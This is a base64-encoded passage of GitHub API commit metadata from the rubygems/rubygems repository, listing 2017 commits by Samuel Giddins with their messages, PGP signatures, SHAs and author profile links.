HNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTA4LTIwVDE5OjE2OjQ0WiJ9LCJtZXNzYWdlIjoiQWxsb3cgYnVuZGxlIF92ZXJzaW9uXyB0byBjb250aW51ZSB0byB3b3JrIiwidHJlZSI6eyJzaGEiOiIxNzQ1MDUwZTUyYTA1ZmQ2NmEyOTAwYTBkMDkwYWY0MTM1NGRjMmU3IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvMTc0NTA1MGU1MmEwNWZkNjZhMjkwMGEwZDA5MGFmNDEzNTRkYzJlNyJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2U5Y2IzOGQ4ZTllNmVmMzk0MjNmNzQ3NDUzMDNiOGE4NmEwZWFlY2UiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblZlcnNpb246IEdudVBHIHYxXG5cbmlRSWNCQUFCQWdBR0JRSlptZUFjQUFvSkVBRVpXN01WM2FoVzRKc1FBSVQya3VIOHhDRDdNejRTSmlxajB5UUlcbnRJTWdMUjlla2s5Uld4QlRZVVY4S3BLUHZiNURDT2NTbmhNRGxWUXFOZkxqNHJ0eC9Cczd0T0JtRlpYVS9pTUxcbnJBMFZwd1VKQU9ZT3RmVEpBQ0hoVlFOUFBLbnRTNVJ3T044WTBTQ0dzSmY3c2t1eDFUb1haTFhobTJkcEhOK0ZcbjNkeFJwVmFoc3Jwa2t3TFZGWjBUOVJid2d6bXhDVGthNVNwdXpMbnhRZTJkelJLU3ZqYTZlTkgydGxHSThFZUtcblBNM2wvSzV3WVoxVVhZYy9sOVZ6QkhBSHFDeUJxSkliTHRuc2c1cFoyZnZOQ1pwSDA4aC93aDdUOXdsL3JmalBcbi85TTlpb3NLV3Y3Nno5bDhGVEFrTjg5N255TlV1dGs5aTNIb3l0czNFNTBQTHFDSEU4dE5rcHdndjNlTFNNZVVcbjlvOXA2ZHBHcVpSWEpPMDBHb3FLZUtVb2w2bXFtaDBVcE50TmRnU0Z0L1Z0S0dVS2dEeGwvWVZGaEx5djdzUU1cblRmUHI2VGdLczhFaFpWa2YzSDZIWWNxUUpRR2NiRUFmYklhVGZNRUlZMlJBS0o3UHNNclRWeUt2SXE4dUFOK0ZcbnZyNEtuOTc0TGIveXlZS1JsMVlTTzIvMHRGdUZoUGJ0TXFmZU1FemFNbS9McUlRWDZacWt5QitlZmJLYzNNcUxcbnlJbzRlNDF1S0R3QmFZazRZY3NJU3JtNlloazc1ak1udkJlYnJyTjBuSHV6Q2t3Y3RZL3BIUXp2WE1QT1o0QjJcbjFNandRZllwZVYvMlBOMnVkcThwSDhKNWpaaVcxYkFSWTZIZUZyM0JJSEs0Ump2ZENyRVhVSUJLNUszdzN0TlpcbmVGRUE0SFIvMDNYM1pycGVRekhZXG49dHUzQ1xuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgMTc0NTA1MGU1MmEwNWZkNjZhMjkwMGEwZDA5MGFmNDEzNTRkYzJlN1xucGFyZW50IDY2MzJjNDI3OGUwMmRhYjY2MjQzYTdiZTYxNjIxY2IzZmU0YjE2MDFcbmF1dGhvciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTUwMzI1NjYwNCAtMDQwMFxuY29tbWl0dGVyIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNTAzMjU2NjA0IC0wNDAwXG5cbkFsbG93IGJ1bmRsZSBfdmVyc2lvbl8gdG8gY29udGludWUgdG8gd29ya1xuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZTljYjM4ZDhlOWU2ZWYzOTQyM2Y3NDc0NTMwM2I4YTg2YTBlYWVjZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9lOWNiMzhkOGU5ZTZlZjM5NDIzZjc0NzQ1MzAzYjhhODZhMGVhZWNlIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2U5Y2IzOGQ4ZTllNmVmMzk0MjNmNzQ3NDUzMDNiOGE4NmEwZWFlY2UvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjY2MzJjNDI3OGUwMmRhYjY2MjQzYTdiZTYxNjIxY2IzZmU0YjE2MDEiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNjYzMmM0Mjc4ZTAyZGFiNjYyNDNhN2JlNjE2MjFjYjNmZTRiMTYwMSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC82NjMyYzQyNzhlMDJkYWI2NjI0M2E3YmU2MTYyMWNiM2ZlNGIxNjAxIn1dfSx7InNoYSI6IjY2MzJjNDI3OGUwMmRhYjY2MjQzYTdiZTYxNjIxY2IzZmU0YjE2MDEiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTA4LTE5VDIyOjU3OjQ5WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTctMDgtMTlUMjI6NTc6NDlaIn0sIm1lc3NhZ2UiOiJPbmx5IHBpbiB0byBtYWpvciB2ZXJzaW9uIGZvciBsb2NrZWQgYnVuZGxlciA8IDIiLCJ0cmVlIjp7InNoYSI6IjQ3YzQyNTI0YTQ2N2M1OWJjNDVjYzhmYjBjMDUzZDQ0ZTllY2ZiMWEiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy80N2M0MjUyNGE0NjdjNTliYzQ1Y2M4ZmIwYzA1M2Q0NGU5ZWNmYjFhIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvNjYzMmM0Mjc4ZTAyZGFiNjYyNDNhN2JlNjE2MjFjYjNmZTRiMTYwMSIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuVmVyc2lvbjogR251UEcgdjFcblxuaVFJY0JBQUJBZ0FHQlFKWm1NSnRBQW9KRUFFWlc3TVYzYWhXQy9zUC9BdjBDRitTTi9DL3lxSkZvdG10U2d3VVxuOW90Y0s1dFNXUDM2NFFMVkY0MGNvMVlGdjdmRktGU2puUzVCc0YzS0R0N0lvT3lwS2tWRHpiaDNNT0l4NFlyTFxuaEdWVUVxYWpNMjFSUFRkMDNFK2xpZ281aDEvQTRFNFJnSkg4Vlg3aW9MSE0yenNOTks3U3h4SVNpbU5rY0dHblxuS0ljMmJjSFBOc2txL3RuN3BpYTU2ZHJIQkdibkh0alZmQU9PcDVzaUloM3Rmend1VmNtWE5ROXQ5ell4Mng5T1xuaU0zOVdkMUpXSllFOXJaYTA3aXFnSnJNSVdMNGFiYldPN3B4WXF4NXhBMUh1NlptREhOZUc2dEs5eGwrbW1Rb1xuNjN5Q3J5d1EzOGptNHF1V3lQNDVyWU90QVJ5dTZ4RHF5SVdsWkhibkpPaDl1TlIxZll5ZEhwMjYrTGwzaEozYVxuUGhIbDNxOFk4TzBmdkQ4TFZZSEV6ZzFpMGgvZDYxZm5uQXFTM3BMa0cvWFdLUGllQUo1Zy9tQ2x3aHZNRzJ0Y1xuQlcxTGR4bDd0L1RJVmc3Q3BUdHMyUUtQZmZnTUhsNTkyUGZ1c204SDYveHRHYm0zaDk5dnRuTTZHZ3pobHVHcFxuKzRYVEFIV3VaekRJbUtKSmVJV3lEZDZnM3FtbkpORUlQL1Rxd1lnYnJMQWt4TnJna1RINUV6UzlBQm1MSERITFxuNnJJWEdhVmNrWjlvRlRIMFBEM0dJcU1UWG5ZbjYwcHlUSTYyUlkwc29Mc2FFNWNWNlRVdVBLYlBVR3pxYmoyL1xuNm5wOTB2NnFhZ2NsVlQ2dzBrbXlMNElxRWd3VDNYYnpmeGY2YlhwOFB3SmNQcDJGNjZNRkc4ZkJGc2NkbzJuUFxuUEdhQk5DeWo0Qk15Zzg3OVIxbTdcbj1EdHRBXG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSA0N2M0MjUyNGE0NjdjNTliYzQ1Y2M4ZmIwYzA1M2Q0NGU5ZWNmYjFhXG5wYXJlbnQgOTA5YjVmYjgxMDM4ZDczMTE0OWRhODAyYmVhYWRhYjIxMDM1MTJmMlxuYXV0aG9yIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNTAzMTgzNDY5IC0wNDAwXG5jb21taXR0ZXIgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE1MDMxODM0NjkgLTA0MDBcblxuT25seSBwaW4gdG8gbWFqb3IgdmVyc2lvbiBmb3IgbG9ja2VkIGJ1bmRsZXIgPCAyXG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy82NjMyYzQyNzhlMDJkYWI2NjI0M2E3YmU2MTYyMWNiM2ZlNGIxNjAxIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzY2MzJjNDI3OGUwMmRhYjY2MjQzYTdiZTYxNjIxY2IzZmU0YjE2MDEiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNjYzMmM0Mjc4ZTAyZGFiNjYyNDNhN2JlNjE2MjFjYjNmZTRiMTYwMS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiOTA5YjVmYjgxMDM4ZDczMTE0OWRhODAyYmVhYWRhYjIxMDM1MTJmMiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy85MDliNWZiODEwMzhkNzMxMTQ5ZGE4MDJiZWFhZGFiMjEwMzUxMmYyIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzkwOWI1ZmI4MTAzOGQ3MzExNDlkYTgwMmJlYWFkYWIyMTAzNTEyZjIifV19LHsic2hhIjoiOTA5YjVmYjgxMDM4ZDczMTE0OWRhODAyYmVhYWRhYjIxMDM1MTJmMiIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTctMDgtMTlUMjI6NDU6MDdaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNy0wOC0xOVQyMjo0NTowN1oifSwibWVzc2FnZSI6IltTZXR1cF0gUmVnZW5lcmF0ZSBiaW5zdHVicyIsInRyZWUiOnsic2hhIjoiOTFkZDg5OTkyYmFiNDA3MmVmN2I5NmE5ZjgyZDkyZDVjNTc3NGRkNyIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzkxZGQ4OTk5MmJhYjQwNzJlZjdiOTZhOWY4MmQ5MmQ1YzU3NzRkZDcifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy85MDliNWZiODEwMzhkNzMxMTQ5ZGE4MDJiZWFhZGFiMjEwMzUxMmYyIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5WZXJzaW9uOiBHbnVQRyB2MVxuXG5pUUljQkFBQkFnQUdCUUpabUw5ekFBb0pFQUVaVzdNVjNhaFc2MGNQLzByVE9aZjY3UldoKzhqOFR5TEprYkhnXG4waWdQL2VyTmFFd1hlZzVrWVRjbnRkcjR5aE1yTTFqZFdUd1BqaVZpbXdWT1k4cWhLSFk5SjRDaVdmWk5YSWVFXG45TTF3Qkx0V21EQU9NSHc4NzcwTWZDemYvNTA5WmduSE90aHZNUUxvR3JPL0ZKeWRtbE9VeDdWcm42SzdiK2gyXG5BdHAvdzhGVEhnb1VBT3FFRTJkSnIzNzY3RHJPdjFqTHRZWDVZRUlIYStmalViWHQ1MWpSRk5ZcXAxM1FvbFdlXG5KaG1QbmQ5SGQyMzVObFhaUmtXT05QV0RpUVRhRU1VZm9iZHA3Ry9XYzFkRWdTS1J6RW9NaG9GYnYrT2piTWZ5XG5CU2k2NGVyU1BUb0lVdlNUalBWcjlONzhCV1g5SXBuamlmSjEzdnM2d0NHeWFoZWlzRGZDeGtob3NZZTFlZEVWXG5XbktCckZmVmhmbUFoamhncFgreitHNDFJSExSeVJRT3ZWdjNnaWVnVkxuWFFVNGhTc2pBbUtTK2V4aHdRUk9EXG5vVHp2QSsrTXo1Mi9ZbmppZE12cW96alp0TG1rZTc0L0liL05nc3dwWUhpUFl2N2dOV3hJenpZaXZiTEpLSGFYXG5BRVM3cFlSeXk0cFg0OW9nZGs3ZWhUeGRBak9WM1ZNcWxvMTR2RWhSbEdpMVNFc0FPKzlzakswK3hxNFVjOVhaXG5UeG1GVWM4TzZSNEo4RmJuSXRyTlhhejgwSzF3NjFiT1FYbTg3dnlvODFBSU42czBCa090UGdyRmhkdGlxdTJzXG5QVTQrRHZINGdUYkpBOXVGY1RWdnJhdVBhWkdIM1RGczgrKzd3aGw4eHl4KzBua0dXdDdQck1vUGRvSkRaWHhDXG5IWWl1QWtnU1BUd0pUdGU3NzZRM1xuPVBIdGNcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIDkxZGQ4OTk5MmJhYjQwNzJlZjdiOTZhOWY4MmQ5MmQ1YzU3NzRkZDdcbnBhcmVudCBmODgzNjAxNzBmMDcyM2VjZWU3NTc0ZTI2MjM0YzA5MDU2MTBkNzkyXG5hdXRob3IgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE1MDMxODI3MDcgLTA0MDBcbmNvbW1pdHRlciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTUwMzE4MjcwNyAtMDQwMFxuXG5bU2V0dXBdIFJlZ2VuZXJhdGUgYmluc3R1YnNcbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzkwOWI1ZmI4MTAzOGQ3MzExNDlkYTgwMmJlYWFkYWIyMTAzNTEyZjIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvOTA5YjVmYjgxMDM4ZDczMTE0OWRhODAyYmVhYWRhYjIxMDM1MTJmMiIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy85MDliNWZiODEwMzhkNzMxMTQ5ZGE4MDJiZWFhZGFiMjEwMzUxMmYyL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5z